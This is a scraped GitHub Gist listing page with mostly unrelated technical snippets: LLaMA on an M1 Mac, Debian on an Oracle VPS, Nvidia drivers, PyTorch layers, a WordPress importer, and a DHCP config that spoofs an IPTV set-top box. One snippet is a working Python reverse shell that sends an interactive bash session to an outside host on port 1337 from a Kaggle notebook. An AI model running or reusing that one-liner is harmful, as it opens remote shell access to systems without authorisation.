Skip to content

Instantly share code, notes, and snippets.

@cedrickchee
cedrickchee / llama-7b-m1.md
Last active February 17, 2025 02:24
4 Steps in Running LLaMA-7B on a M1 MacBook with `llama.cpp`

4 Steps in Running LLaMA-7B on a M1 MacBook

The large language models usability

The problem with large language models is that you can’t run these locally on your laptop. Thanks to Georgi Gerganov and his llama.cpp project, it is now possible to run Meta’s LLaMA on a single computer without a dedicated GPU.

Running LLaMA

There are multiple steps involved in running LLaMA locally on a M1 Mac after downloading the model weights.

@4abhinavjain
4abhinavjain / reinstall_VPS_from_inside.txt
Last active February 24, 2025 22:59 — forked from ClashTheBunny/reinstall_VPS_from_inside.sh
DIY install debian on Oracle Cloud Infrastructure ( Free Tier ) - ARM64
# should works on any cloud-init enabled hypervisor (openstack.. )
# start from a normal ubuntu 20.04 install as minimal was not available for ARM64
# Since ARM64 machines has higher RAM, Shrinking is desired but not necessary. Instead we will increase tmpfs to 1700MB
# Getting root (if sudo -i doesn't work then set a root password beforehand using 'sudo passwd root'
sudo -i
# make sure we are on the highest kernel, so we can delete all the others ...
@oprizal
oprizal / nvidia-legacy-driver-340xx-on-debian-11-bullseye.md
Last active February 22, 2025 17:01
Install Nvidia legacy driver 340xx on Debian 11 Bullseye

How to Install Nvidia Legacy 340xx Driver on Debian 11 Bullseye

DE/WM: Xfce4 & i3

First of all, always update the system first.

$ sudo apt update && sudo apt upgrade
@ilya16
ilya16 / masked_batchnorm.py
Created February 26, 2021 15:08
Masked Normalization layers in PyTorch
from typing import Optional
import torch
import torch.nn.functional as F
from torch import Tensor
from torch.nn.modules.batchnorm import _BatchNorm
# Masked Batch Normalization
Microsoft office and Chrome not working on catalina patcher (Solution) (self.CatalinaPatcher)

submitted 4 months ago by jareza

Hi! mandatory introduction:

I have a mid 2009 Macbook Pro that has Catalina Installed using Dos dude patcher. Works Great

However trying to open Google Chrome gave me an error. That same error was given when trying to open microsoft office.
@Sanix-Darker
Sanix-Darker / [PYTHON]checkIfProcessRunning.py
Last active March 31, 2023 06:40
[PYTHON] Check if a process is running by it's name
# By Sanix darker
# With this script you can check if a process is running by it's name
#
# Install dependencies by hiting : pip install psutil
#
# Then launch the script : python checkIfProcessRunning.py
import psutil
@mxbi
mxbi / reverse_shell.py
Created August 16, 2018 14:50
Kaggle Kernels reverse shell
!echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("vm.mxbi.net",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' > shell.py
import subprocess
subprocess.Popen(["python", "shell.py"])
@jeasinema
jeasinema / weight_init.py
Last active November 22, 2024 07:17
A simple script for parameter initialization for PyTorch
#!/usr/bin/env python
# -*- coding:UTF-8 -*-
import torch
import torch.nn as nn
import torch.nn.init as init
def weight_init(m):
'''
@romuloctba
romuloctba / wordpress-custom-import-tutorial-demo.php
Last active January 20, 2023 22:32 — forked from royduin/import-demo.php
Example Wordpress custom import (post type, meta, image from url, etc) see: https://royduineveld.nl/creating-your-own-wordpress-import/
<?php
/*
Plugin Name: Import demo
Plugin URI: http://royduineveld.nl
Description: A demo import for my blog
Version: 1.0
Author: Roy Duineveld
Author URI: http://royduineveld.nl
*/
@zxp
zxp / dhclient.conf
Last active March 1, 2023 13:56
模拟四川电信ITV盒子的DHCP客户端配置 /etc/dhcp/dhclient.conf
interface "eth1" {
# 发送终端名,这个抓盒子发的包直接送出去就好了,是个32字节的字符串
send host-name "00109199************************";
# 发送机顶盒的MAC地址,我的华为的盒子是54:93:59开头的
send dhcp-client-identifier "\054:93:59:**:**:**";
# 电信用了Option60验证终端是否为盒子,按照抓包出来的字符串原样发送
send vendor-class-identifier "SCITV";
request subnet-mask, rfc3442-classless-static-routes, static-routes,
routers, domain-name-servers, host-name, domain-name,
interface-mtu, broadcast-address, ntp-servers,